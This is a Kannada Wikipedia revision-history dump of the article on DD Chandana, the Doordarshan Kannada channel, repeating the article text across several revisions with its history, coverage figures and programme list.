ಮುನ್ನಡೆಯಬೇಕಾಗಿದೆ. ಅದಕ್ಕೆ ಉಪಾಯವೆಂದರೆ, ಕಾರ್ಯಕ್ರಮಗಳ ತಾಂತ್ರಿಕತೆ, ಹಾಗೂ ಬೇರೆ ಬೇರೆ ಮಜಲುಗಳಲ್ಲಿ ಸಾಕಷ್ಟು ಅನುಸಂಧಾನ ಮಾಡಿ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಬಿತ್ತರಿಸಬೇಕು.ಈ ವಾಹಿನಿಯಲ್ಲಿ ವಿಧ್ಯಾರ್ಥಿ‍ಗಳಿಗೆ ಉಪಯುಕ್ತವಾಗುವಂತ ಅನೇಕ ಕಾರ್ಯಕ್ರಮಗಳು ಪ್ರಸಾರವಾಗುತ್ತವೆ. ಚಂದನ ವಾಹಿನಿಯ‌ನ್ನು ಸ್ಮಾರ್ಟ್‌ಫೋನಿನ‌ಲ್ಲಿ ವೀಕ್ಷಿಸ‌ಬ‌ಹುದು. ಲಿಂಕ್ : http://tv.ddchandana.in{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} {{ಕನ್ನಡ ಕಿರುತೆರೆ ಸುದ್ದಿ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಭಾರತದ ಸರ್ಕಾರಿ ಸ್ವಾಮ್ಯದ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಜಾಲ}} [[ವರ್ಗ: ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] == ಇತಿಹಾಸ == == ಇತಿಹಾಸ == ಪ್ರಾದೇಶಿಕ ಭಾಷೆಯ ಉಪಗ್ರಹ ಚಾನಲ್ ಅನ್ನು 15 ಆಗಸ್ಟ್ 1991 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು, ಇದು 1 ಜನವರಿ 2000 ರಂದು 24 ಗಂಟೆಗಳ ಚಾನಲ್ ಆಯಿತು. ಈ ಚಾನೆಲ್ ಅನ್ನು ಸಾಮಾನ್ಯವಾಗಿ '''DD-9 ಕನ್ನಡ''' ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು, ನಂತರ ಇದನ್ನು "ಚಂದನ" ಎಂದು ನಾಮಕರಣ ಮಾಡಲಾಯಿತು, ಏಪ್ರಿಲ್ 5, 2000 ರಂದು ಇದು ರಾಜ್ಯದ ನಿಜವಾದ ಸಾಂಸ್ಕೃತಿಕ ರಾಯಭಾರಿಯಾಗಿದೆ. ಇದು ಬೆಂಗಳೂರು ಮತ್ತು ಕಲಬುರ್ಗಿಯಲ್ಲಿರುವ ದೂರದರ್ಶನ ಸ್ಟುಡಿಯೋಗಳಿಂದ ಬೆಂಬಲಿತವಾದ ಕನ್ನಡ ಭಾಷೆಯ ಉಪಗ್ರಹ ಚಾನಲ್ ಆಗಿದೆ. ಇದು ಮನರಂಜನಾ ಧಾರಾವಾಹಿಗಳು, ಇನ್ಫೋಟೈನ್‌ಮೆಂಟ್ ಕಾರ್ಯಕ್ರಮಗಳು, ಸುದ್ದಿ ಮತ್ತು ಪ್ರಚಲಿತ ವಿದ್ಯಮಾನಗಳು, ಸಾಮಾಜಿಕ ಕಾರ್ಯಕ್ರಮಗಳು ಮತ್ತು ಚಲನಚಿತ್ರ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಅದರ ಪ್ರಮುಖ ವಿಷಯವಾಗಿ ಹೊಂದಿದೆ. ಟೆರೆಸ್ಟ್ರಿಯಲ್ ಮೋಡ್‌ನಲ್ಲಿ, ಕರ್ನಾಟಕದ ಜನಸಂಖ್ಯೆಯ 81.7% ಜನರಿಗೆ DD ಚಂದನ ಲಭ್ಯವಿದೆ. ಇಂದು ದೂರದರ್ಶನ ಬೆಂಗಳೂರು 76.2% ವಿಸ್ತೀರ್ಣ ಮತ್ತು 82.4% ಜನಸಂಖ್ಯೆಯನ್ನು ಒಳಗೊಂಡಿದೆ. ಡಿಡಿ ಚಂದನಾ ಅವರು ಮನೆಯ ಕೆಲಸದ ಸ್ಥಳ, ಉದ್ಯಮ ಮತ್ತು ಸಮುದಾಯ ಮಟ್ಟದಲ್ಲಿ ಅಗ್ನಿ ಸುರಕ್ಷತೆಯನ್ನು ಉತ್ತೇಜಿಸುವ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡಿದ್ದಾರೆ. ಹಿಂದಿನ ಕೆಲವು ಕಾರ್ಯಕ್ರಮಗಳೆಂದರೆ: ಅಗ್ನಿ ಸಂಚಿಕೆ ಸಾಪ್ತಾಹಿಕ ಟಿವಿ ಧಾರಾವಾಹಿ ಕಾರ್ಯಕ್ರಮ ಮತ್ತು ಅಗ್ನಿಶಾಮಕ ವಾರ್ಡನ್ ಸಂಸ್ಥೆ, ಸ್ವಯಂಸೇವಕರಿಗೆ ಅಗ್ನಿ ಸುರಕ್ಷತೆಯ ಅರಿವು ಮತ್ತು ಸಮುದಾಯದಲ್ಲಿ ತ್ವರಿತ ಪ್ರತಿಕ್ರಿಯೆ ಅಭ್ಯಾಸಗಳನ್ನು ಸುಧಾರಿಸಲು ಅಗ್ನಿಶಾಮಕ ಸೇವೆಗಳೊಂದಿಗೆ ಕೈಜೋಡಿಸಲು ಅವಕಾಶವನ್ನು ಒದಗಿಸುತ್ತದೆ. ಚಂದನ ವಾಹಿನಿಯು 2004 ರಲ್ಲಿ 20 ನಿಯೋಜಿತ ಕಾರ್ಯಕ್ರಮಗಳು, ಸಾಕ್ಷ್ಯಚಿತ್ರಗಳು ಮತ್ತು ನಾಟಕ, ಟೆಲಿಫಿಲ್ಮ್‌ಗಳು ಮತ್ತು ಧಾರಾವಾಹಿ ಅನ್ನು ಪ್ರಸಾರ ಮಾಡಿತು. arxnxydso9ix8ef2ntqty08r0tt3890 1116624 1116623 2022-08-24T11:16:58Z Ishqyk 76644 wikitext text/x-wiki [[ಚಿತ್ರ:Doordarshan Bhawan, Copernicus Marg, Delhi.jpg|thumbnail]] ದೂರದರ್ಶನ - ಚಂದನ (ಡಿ.ಡಿ.೯) - ಬೆಂಗಳೂರು ದೂರದರ್ಶನ ಕೇಂದ್ರದ ೨೪/೭ ಕಿರುತೆರೆಯ ಕನ್ನಡ ವಾಹಿನಿ. ಭಾರತದಲ್ಲಿ 'ದೂರದರ್ಶನ' ಬಿತ್ತರಿಸುವ ಕಾರ್ಯಕ್ರಮಗಳು ಯಾವುದೇ ಭಾಷೆಯದಾದರೂ ಅವು ಮುಟ್ಟುವ ಜನಸಮುದಾಯ ಅಪಾರ. ಇದನ್ನು ಗಮನದಲ್ಲಿಟ್ಟುಕೊಂಡು ಸರಕಾರ ಸಮರ್ಥ ತಾಂತ್ರಿಕ ವರ್ಗ, ಹಾಗೂ ಅದಕ್ಕೆ ಸರಿಹೊಂದುವ ಪರಿಣಿತರನ್ನು ತಯಾರುಮಾಡಿ ಖಾಸಗೀ ವಲಯಗಳ ಜೊತೆಗೆ ಭುಜಕ್ಕೆ ಭುಜ ಕೊಟ್ಟು ಮುನ್ನಡೆಯಬೇಕಾಗಿದೆ. ಅದಕ್ಕೆ ಉಪಾಯವೆಂದರೆ, ಕಾರ್ಯಕ್ರಮಗಳ ತಾಂತ್ರಿಕತೆ, ಹಾಗೂ ಬೇರೆ ಬೇರೆ ಮಜಲುಗಳಲ್ಲಿ ಸಾಕಷ್ಟು ಅನುಸಂಧಾನ ಮಾಡಿ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಬಿತ್ತರಿಸಬೇಕು.ಈ ವಾಹಿನಿಯಲ್ಲಿ ವಿಧ್ಯಾರ್ಥಿ‍ಗಳಿಗೆ ಉಪಯುಕ್ತವಾಗುವಂತ ಅನೇಕ ಕಾರ್ಯಕ್ರಮಗಳು ಪ್ರಸಾರವಾಗುತ್ತವೆ. ಚಂದನ ವಾಹಿನಿಯ‌ನ್ನು ಸ್ಮಾರ್ಟ್‌ಫೋನಿನ‌ಲ್ಲಿ ವೀಕ್ಷಿಸ‌ಬ‌ಹುದು. ಲಿಂಕ್ : http://tv.ddchandana.in{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} {{ಕನ್ನಡ ಕಿರುತೆರೆ ಸುದ್ದಿ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಭಾರತದ ಸರ್ಕಾರಿ ಸ್ವಾಮ್ಯದ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಜಾಲ}} [[ವರ್ಗ: ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] == ಇತಿಹಾಸ == ಪ್ರಾದೇಶಿಕ ಭಾಷೆಯ ಉಪಗ್ರಹ ಚಾನಲ್ ಅನ್ನು 15 ಆಗಸ್ಟ್ 1991 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು, ಇದು 1 ಜನವರಿ 2000 ರಂದು 24 ಗಂಟೆಗಳ ಚಾನಲ್ ಆಯಿತು. ಈ ಚಾನೆಲ್ ಅನ್ನು ಸಾಮಾನ್ಯವಾಗಿ '''DD-9 ಕನ್ನಡ''' ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು, ನಂತರ ಇದನ್ನು "ಚಂದನ" ಎಂದು ನಾಮಕರಣ ಮಾಡಲಾಯಿತು, ಏಪ್ರಿಲ್ 5, 2000 ರಂದು ಇದು ರಾಜ್ಯದ ನಿಜವಾದ ಸಾಂಸ್ಕೃತಿಕ ರಾಯಭಾರಿಯಾಗಿದೆ. ಇದು ಬೆಂಗಳೂರು ಮತ್ತು ಕಲಬುರ್ಗಿಯಲ್ಲಿರುವ ದೂರದರ್ಶನ ಸ್ಟುಡಿಯೋಗಳಿಂದ ಬೆಂಬಲಿತವಾದ ಕನ್ನಡ ಭಾಷೆಯ ಉಪಗ್ರಹ ಚಾನಲ್ ಆಗಿದೆ. ಇದು ಮನರಂಜನಾ ಧಾರಾವಾಹಿಗಳು, ಇನ್ಫೋಟೈನ್‌ಮೆಂಟ್ ಕಾರ್ಯಕ್ರಮಗಳು, ಸುದ್ದಿ ಮತ್ತು ಪ್ರಚಲಿತ ವಿದ್ಯಮಾನಗಳು, ಸಾಮಾಜಿಕ ಕಾರ್ಯಕ್ರಮಗಳು ಮತ್ತು ಚಲನಚಿತ್ರ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಅದರ ಪ್ರಮುಖ ವಿಷಯವಾಗಿ ಹೊಂದಿದೆ. ಟೆರೆಸ್ಟ್ರಿಯಲ್ ಮೋಡ್‌ನಲ್ಲಿ, ಕರ್ನಾಟಕದ ಜನಸಂಖ್ಯೆಯ 81.7% ಜನರಿಗೆ DD ಚಂದನ ಲಭ್ಯವಿದೆ. ಇಂದು ದೂರದರ್ಶನ ಬೆಂಗಳೂರು 76.2% ವಿಸ್ತೀರ್ಣ ಮತ್ತು 82.4% ಜನಸಂಖ್ಯೆಯನ್ನು ಒಳಗೊಂಡಿದೆ. ಡಿಡಿ ಚಂದನಾ ಅವರು ಮನೆಯ ಕೆಲಸದ ಸ್ಥಳ, ಉದ್ಯಮ ಮತ್ತು ಸಮುದಾಯ ಮಟ್ಟದಲ್ಲಿ ಅಗ್ನಿ ಸುರಕ್ಷತೆಯನ್ನು ಉತ್ತೇಜಿಸುವ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡಿದ್ದಾರೆ. ಹಿಂದಿನ ಕೆಲವು ಕಾರ್ಯಕ್ರಮಗಳೆಂದರೆ: ಅಗ್ನಿ ಸಂಚಿಕೆ ಸಾಪ್ತಾಹಿಕ ಟಿವಿ ಧಾರಾವಾಹಿ ಕಾರ್ಯಕ್ರಮ ಮತ್ತು ಅಗ್ನಿಶಾಮಕ ವಾರ್ಡನ್ ಸಂಸ್ಥೆ, ಸ್ವಯಂಸೇವಕರಿಗೆ ಅಗ್ನಿ ಸುರಕ್ಷತೆಯ ಅರಿವು ಮತ್ತು ಸಮುದಾಯದಲ್ಲಿ ತ್ವರಿತ ಪ್ರತಿಕ್ರಿಯೆ ಅಭ್ಯಾಸಗಳನ್ನು ಸುಧಾರಿಸಲು ಅಗ್ನಿಶಾಮಕ ಸೇವೆಗಳೊಂದಿಗೆ ಕೈಜೋಡಿಸಲು ಅವಕಾಶವನ್ನು ಒದಗಿಸುತ್ತದೆ. ಚಂದನ ವಾಹಿನಿಯು 2004 ರಲ್ಲಿ 20 ನಿಯೋಜಿತ ಕಾರ್ಯಕ್ರಮಗಳು, ಸಾಕ್ಷ್ಯಚಿತ್ರಗಳು ಮತ್ತು ನಾಟಕ, ಟೆಲಿಫಿಲ್ಮ್‌ಗಳು ಮತ್ತು ಧಾರಾವಾಹಿ ಅನ್ನು ಪ್ರಸಾರ ಮಾಡಿತು. a15o1ztdewvv0nt22cvoxa6f62amprw 1116625 1116624 2022-08-24T11:20:20Z Ishqyk 76644 Created by translating the section "ಕಾರ್ಯಕ್ರಮಗಳ ಪಟ್ಟಿ" from the page "[[:en:Special:Redirect/revision/1093907272|DD Chandana]]" wikitext text/x-wiki [[ಚಿತ್ರ:Doordarshan Bhawan, Copernicus Marg, Delhi.jpg|thumbnail]] ದೂರದರ್ಶನ - ಚಂದನ (ಡಿ.ಡಿ.೯) - ಬೆಂಗಳೂರು ದೂರದರ್ಶನ ಕೇಂದ್ರದ ೨೪/೭ ಕಿರುತೆರೆಯ ಕನ್ನಡ ವಾಹಿನಿ. ಭಾರತದಲ್ಲಿ 'ದೂರದರ್ಶನ' ಬಿತ್ತರಿಸುವ ಕಾರ್ಯಕ್ರಮಗಳು ಯಾವುದೇ ಭಾಷೆಯದಾದರೂ ಅವು ಮುಟ್ಟುವ ಜನಸಮುದಾಯ ಅಪಾರ. ಇದನ್ನು ಗಮನದಲ್ಲಿಟ್ಟುಕೊಂಡು ಸರಕಾರ ಸಮರ್ಥ ತಾಂತ್ರಿಕ ವರ್ಗ, ಹಾಗೂ ಅದಕ್ಕೆ ಸರಿಹೊಂದುವ ಪರಿಣಿತರನ್ನು ತಯಾರುಮಾಡಿ ಖಾಸಗೀ ವಲಯಗಳ ಜೊತೆಗೆ ಭುಜಕ್ಕೆ ಭುಜ ಕೊಟ್ಟು ಮುನ್ನಡೆಯಬೇಕಾಗಿದೆ. ಅದಕ್ಕೆ ಉಪಾಯವೆಂದರೆ, ಕಾರ್ಯಕ್ರಮಗಳ ತಾಂತ್ರಿಕತೆ, ಹಾಗೂ ಬೇರೆ ಬೇರೆ ಮಜಲುಗಳಲ್ಲಿ ಸಾಕಷ್ಟು ಅನುಸಂಧಾನ ಮಾಡಿ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಬಿತ್ತರಿಸಬೇಕು.ಈ ವಾಹಿನಿಯಲ್ಲಿ ವಿಧ್ಯಾರ್ಥಿ‍ಗಳಿಗೆ ಉಪಯುಕ್ತವಾಗುವಂತ ಅನೇಕ ಕಾರ್ಯಕ್ರಮಗಳು ಪ್ರಸಾರವಾಗುತ್ತವೆ. ಚಂದನ ವಾಹಿನಿಯ‌ನ್ನು ಸ್ಮಾರ್ಟ್‌ಫೋನಿನ‌ಲ್ಲಿ ವೀಕ್ಷಿಸ‌ಬ‌ಹುದು. ಲಿಂಕ್ : http://tv.ddchandana.in{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} {{ಕನ್ನಡ ಕಿರುತೆರೆ ಸುದ್ದಿ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಭಾರತದ ಸರ್ಕಾರಿ ಸ್ವಾಮ್ಯದ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಜಾಲ}} [[ವರ್ಗ: ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] == ಇತಿಹಾಸ == ಪ್ರಾದೇಶಿಕ ಭಾಷೆಯ ಉಪಗ್ರಹ ಚಾನಲ್ ಅನ್ನು 15 ಆಗಸ್ಟ್ 1991 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು, ಇದು 1 ಜನವರಿ 2000 ರಂದು 24 ಗಂಟೆಗಳ ಚಾನಲ್ ಆಯಿತು. ಈ ಚಾನೆಲ್ ಅನ್ನು ಸಾಮಾನ್ಯವಾಗಿ '''DD-9 ಕನ್ನಡ''' ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು, ನಂತರ ಇದನ್ನು "ಚಂದನ" ಎಂದು ನಾಮಕರಣ ಮಾಡಲಾಯಿತು, ಏಪ್ರಿಲ್ 5, 2000 ರಂದು ಇದು ರಾಜ್ಯದ ನಿಜವಾದ ಸಾಂಸ್ಕೃತಿಕ ರಾಯಭಾರಿಯಾಗಿದೆ. ಇದು ಬೆಂಗಳೂರು ಮತ್ತು ಕಲಬುರ್ಗಿಯಲ್ಲಿರುವ ದೂರದರ್ಶನ ಸ್ಟುಡಿಯೋಗಳಿಂದ ಬೆಂಬಲಿತವಾದ ಕನ್ನಡ ಭಾಷೆಯ ಉಪಗ್ರಹ ಚಾನಲ್ ಆಗಿದೆ. ಇದು ಮನರಂಜನಾ ಧಾರಾವಾಹಿಗಳು, ಇನ್ಫೋಟೈನ್‌ಮೆಂಟ್ ಕಾರ್ಯಕ್ರಮಗಳು, ಸುದ್ದಿ ಮತ್ತು ಪ್ರಚಲಿತ ವಿದ್ಯಮಾನಗಳು, ಸಾಮಾಜಿಕ ಕಾರ್ಯಕ್ರಮಗಳು ಮತ್ತು ಚಲನಚಿತ್ರ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಅದರ ಪ್ರಮುಖ ವಿಷಯವಾಗಿ ಹೊಂದಿದೆ. ಟೆರೆಸ್ಟ್ರಿಯಲ್ ಮೋಡ್‌ನಲ್ಲಿ, ಕರ್ನಾಟಕದ ಜನಸಂಖ್ಯೆಯ 81.7% ಜನರಿಗೆ DD ಚಂದನ ಲಭ್ಯವಿದೆ. ಇಂದು ದೂರದರ್ಶನ ಬೆಂಗಳೂರು 76.2% ವಿಸ್ತೀರ್ಣ ಮತ್ತು 82.4% ಜನಸಂಖ್ಯೆಯನ್ನು ಒಳಗೊಂಡಿದೆ. ಡಿಡಿ ಚಂದನಾ ಅವರು ಮನೆಯ ಕೆಲಸದ ಸ್ಥಳ, ಉದ್ಯಮ ಮತ್ತು ಸಮುದಾಯ ಮಟ್ಟದಲ್ಲಿ ಅಗ್ನಿ ಸುರಕ್ಷತೆಯನ್ನು ಉತ್ತೇಜಿಸುವ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡಿದ್ದಾರೆ. ಹಿಂದಿನ ಕೆಲವು ಕಾರ್ಯಕ್ರಮಗಳೆಂದರೆ: ಅಗ್ನಿ ಸಂಚಿಕೆ ಸಾಪ್ತಾಹಿಕ ಟಿವಿ ಧಾರಾವಾಹಿ ಕಾರ್ಯಕ್ರಮ ಮತ್ತು ಅಗ್ನಿಶಾಮಕ ವಾರ್ಡನ್ ಸಂಸ್ಥೆ, ಸ್ವಯಂಸೇವಕರಿಗೆ ಅಗ್ನಿ ಸುರಕ್ಷತೆಯ ಅರಿವು ಮತ್ತು ಸಮುದಾಯದಲ್ಲಿ ತ್ವರಿತ ಪ್ರತಿಕ್ರಿಯೆ ಅಭ್ಯಾಸಗಳನ್ನು ಸುಧಾರಿಸಲು ಅಗ್ನಿಶಾಮಕ ಸೇವೆಗಳೊಂದಿಗೆ ಕೈಜೋಡಿಸಲು ಅವಕಾಶವನ್ನು ಒದಗಿಸುತ್ತದೆ. ಚಂದನ ವಾಹಿನಿಯು 2004 ರಲ್ಲಿ 20 ನಿಯೋಜಿತ ಕಾರ್ಯಕ್ರಮಗಳು, ಸಾಕ್ಷ್ಯಚಿತ್ರಗಳು ಮತ್ತು ನಾಟಕ, ಟೆಲಿಫಿಲ್ಮ್‌ಗಳು ಮತ್ತು ಧಾರಾವಾಹಿ ಅನ್ನು ಪ್ರಸಾರ ಮಾಡಿತು. == ಕಾರ್ಯಕ್ರಮಗಳ ಪಟ್ಟಿ == == ಕಾರ್ಯಕ್ರಮಗಳ ಪಟ್ಟಿ == ವಾಹಿನಿಯು ಹಲವಾರು ಸ್ಮರಣೀಯ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರೇಕ್ಷಕರಿಗೆ ನೀಡಿದೆ, ಅವುಗಳಲ್ಲಿ ಅತ್ಯಂತ ಜನಪ್ರಿಯವಾಗಿವೆ * ಡ್ಯಾನ್ಸ್ ಸಮರ- ಡ್ಯಾನ್ಸ್ ರಿಯಾಲಿಟಿ ಶೋ * ಗಾನ ಚಂದನ - ಗಾಯನ ರಿಯಾಲಿಟಿ ಶೋ <ref>{{Cite web|url=https://www.vijayavani.net/gana-chandana-in-chandana/|title=ಚಂದನದಲ್ಲಿ ಗಾನ ಚಂದನ|date=2020-03-06|website=VIJAYAVANI - ವಿಜಯವಾಣಿ|language=en-US|access-date=2020-03-06}}</ref> * [[ವಾರ್ತೆ|ವಾರ್ತೆಗಳು]] ''(ಅರ್ಥ: ಸುದ್ದಿ)'' - ಸುದ್ದಿ ಕಾರ್ಯಕ್ರಮ * ಚಿತ್ರಮಂಜರಿ ''(ಅರ್ಥ: ಚಿತ್ರ ಹಿಮ)'' - ಕನ್ನಡ ಚಲನಚಿತ್ರ ಗೀತೆಗಳ ಕಾರ್ಯಕ್ರಮ * [[ಥಟ್ ಅಂತ ಹೇಳಿ (ದೂರದರ್ಶನ ಕಾರ್ಯಕ್ರಮ)|ಥಟ್ ಅಂತ ಹೇಳಿ]] ''(ಅರ್ಥ: ಮಿಂಚಿನಲ್ಲಿ ಉತ್ತರ)'' [[ಥಟ್ ಅಂತ ಹೇಳಿ (ದೂರದರ್ಶನ ಕಾರ್ಯಕ್ರಮ)|-]] ರಸಪ್ರಶ್ನೆ ಕಾರ್ಯಕ್ರಮ * ಸುತ್ಥೋನ ನಮ್ಮ ನಾಡು ''(ಅರ್ಥ: ನಮ್ಮ ಸ್ಥಳಕ್ಕೆ ಪ್ರಯಾಣಿಸೋಣ)'' - ಕರ್ನಾಟಕ ರಾಜ್ಯ ಪ್ರವಾಸ ಮಾರ್ಗದರ್ಶಿ ಕಾರ್ಯಕ್ರಮ * ಕಥಾ ಸರಿತಾ/ಮಾಳಿಕೆ/ ''(ಅರ್ಥ: ಕಥಾ ಮಾಲೆ)'' - [[ಕನ್ನಡ ಸಾಹಿತ್ಯ|ಕನ್ನಡ ಸಾಹಿತ್ಯದ]] ಹಲವಾರು ಸಣ್ಣ ಕಥೆಗಳ ಪ್ರದರ್ಶನ * [[ಕರ್ನಾಟಕ ಸಂಗೀತ|ಕರ್ನಾಟಕ ಶಾಸ್ತ್ರೀಯ ಸಂಗೀತ]] ''(ಅರ್ಥ: ಶಾಸ್ತ್ರೀಯ ಸಂಗೀತ)'' - ಸಂಗೀತ ಕಾರ್ಯಕ್ರಮ * ಬೆಳಗು ''(ಅರ್ಥ: ಹಗುರಗೊಳಿಸು)'' - ಯಾವುದೇ ಹೆಸರಾಂತ ಅತಿಥಿಯ ಸಂದರ್ಶನ ಕಾರ್ಯಕ್ರಮ * ''[[ಚಲನಚಿತ್ರ]] (ಅರ್ಥ: ಚಲನಚಿತ್ರ)'' * ಸ್ವರಾಜ್ - ಹಿಂದಿ ಅನುವಾದಿತ ಧಾರಾವಾಹಿshsbsbssbabsns s sbsnssb. sbssbsbs sbwbsbsb rqi11ckvg2vjctqqzlzmr405zq0owjz 1116626 1116625 2022-08-24T11:20:35Z Ishqyk 76644 wikitext text/x-wiki [[ಚಿತ್ರ:Doordarshan Bhawan, Copernicus Marg, Delhi.jpg|thumbnail]] ದೂರದರ್ಶನ - ಚಂದನ (ಡಿ.ಡಿ.೯) - ಬೆಂಗಳೂರು ದೂರದರ್ಶನ ಕೇಂದ್ರದ ೨೪/೭ ಕಿರುತೆರೆಯ ಕನ್ನಡ ವಾಹಿನಿ. ಭಾರತದಲ್ಲಿ 'ದೂರದರ್ಶನ' ಬಿತ್ತರಿಸುವ ಕಾರ್ಯಕ್ರಮಗಳು ಯಾವುದೇ ಭಾಷೆಯದಾದರೂ ಅವು ಮುಟ್ಟುವ ಜನಸಮುದಾಯ ಅಪಾರ. ಇದನ್ನು ಗಮನದಲ್ಲಿಟ್ಟುಕೊಂಡು ಸರಕಾರ ಸಮರ್ಥ ತಾಂತ್ರಿಕ ವರ್ಗ, ಹಾಗೂ ಅದಕ್ಕೆ ಸರಿಹೊಂದುವ ಪರಿಣಿತರನ್ನು ತಯಾರುಮಾಡಿ ಖಾಸಗೀ ವಲಯಗಳ ಜೊತೆಗೆ ಭುಜಕ್ಕೆ ಭುಜ ಕೊಟ್ಟು ಮುನ್ನಡೆಯಬೇಕಾಗಿದೆ. ಅದಕ್ಕೆ ಉಪಾಯವೆಂದರೆ, ಕಾರ್ಯಕ್ರಮಗಳ ತಾಂತ್ರಿಕತೆ, ಹಾಗೂ ಬೇರೆ ಬೇರೆ ಮಜಲುಗಳಲ್ಲಿ ಸಾಕಷ್ಟು ಅನುಸಂಧಾನ ಮಾಡಿ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಬಿತ್ತರಿಸಬೇಕು.ಈ ವಾಹಿನಿಯಲ್ಲಿ ವಿಧ್ಯಾರ್ಥಿ‍ಗಳಿಗೆ ಉಪಯುಕ್ತವಾಗುವಂತ ಅನೇಕ ಕಾರ್ಯಕ್ರಮಗಳು ಪ್ರಸಾರವಾಗುತ್ತವೆ. ಚಂದನ ವಾಹಿನಿಯ‌ನ್ನು ಸ್ಮಾರ್ಟ್‌ಫೋನಿನ‌ಲ್ಲಿ ವೀಕ್ಷಿಸ‌ಬ‌ಹುದು. ಲಿಂಕ್ : http://tv.ddchandana.in{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} {{ಕನ್ನಡ ಕಿರುತೆರೆ ಸುದ್ದಿ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಭಾರತದ ಸರ್ಕಾರಿ ಸ್ವಾಮ್ಯದ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಜಾಲ}} [[ವರ್ಗ: ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] == ಇತಿಹಾಸ == ಪ್ರಾದೇಶಿಕ ಭಾಷೆಯ ಉಪಗ್ರಹ ಚಾನಲ್ ಅನ್ನು 15 ಆಗಸ್ಟ್ 1991 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು, ಇದು 1 ಜನವರಿ 2000 ರಂದು 24 ಗಂಟೆಗಳ ಚಾನಲ್ ಆಯಿತು. ಈ ಚಾನೆಲ್ ಅನ್ನು ಸಾಮಾನ್ಯವಾಗಿ '''DD-9 ಕನ್ನಡ''' ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು, ನಂತರ ಇದನ್ನು "ಚಂದನ" ಎಂದು ನಾಮಕರಣ ಮಾಡಲಾಯಿತು, ಏಪ್ರಿಲ್ 5, 2000 ರಂದು ಇದು ರಾಜ್ಯದ ನಿಜವಾದ ಸಾಂಸ್ಕೃತಿಕ ರಾಯಭಾರಿಯಾಗಿದೆ. ಇದು ಬೆಂಗಳೂರು ಮತ್ತು ಕಲಬುರ್ಗಿಯಲ್ಲಿರುವ ದೂರದರ್ಶನ ಸ್ಟುಡಿಯೋಗಳಿಂದ ಬೆಂಬಲಿತವಾದ ಕನ್ನಡ ಭಾಷೆಯ ಉಪಗ್ರಹ ಚಾನಲ್ ಆಗಿದೆ. ಇದು ಮನರಂಜನಾ ಧಾರಾವಾಹಿಗಳು, ಇನ್ಫೋಟೈನ್‌ಮೆಂಟ್ ಕಾರ್ಯಕ್ರಮಗಳು, ಸುದ್ದಿ ಮತ್ತು ಪ್ರಚಲಿತ ವಿದ್ಯಮಾನಗಳು, ಸಾಮಾಜಿಕ ಕಾರ್ಯಕ್ರಮಗಳು ಮತ್ತು ಚಲನಚಿತ್ರ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಅದರ ಪ್ರಮುಖ ವಿಷಯವಾಗಿ ಹೊಂದಿದೆ. ಟೆರೆಸ್ಟ್ರಿಯಲ್ ಮೋಡ್‌ನಲ್ಲಿ, ಕರ್ನಾಟಕದ ಜನಸಂಖ್ಯೆಯ 81.7% 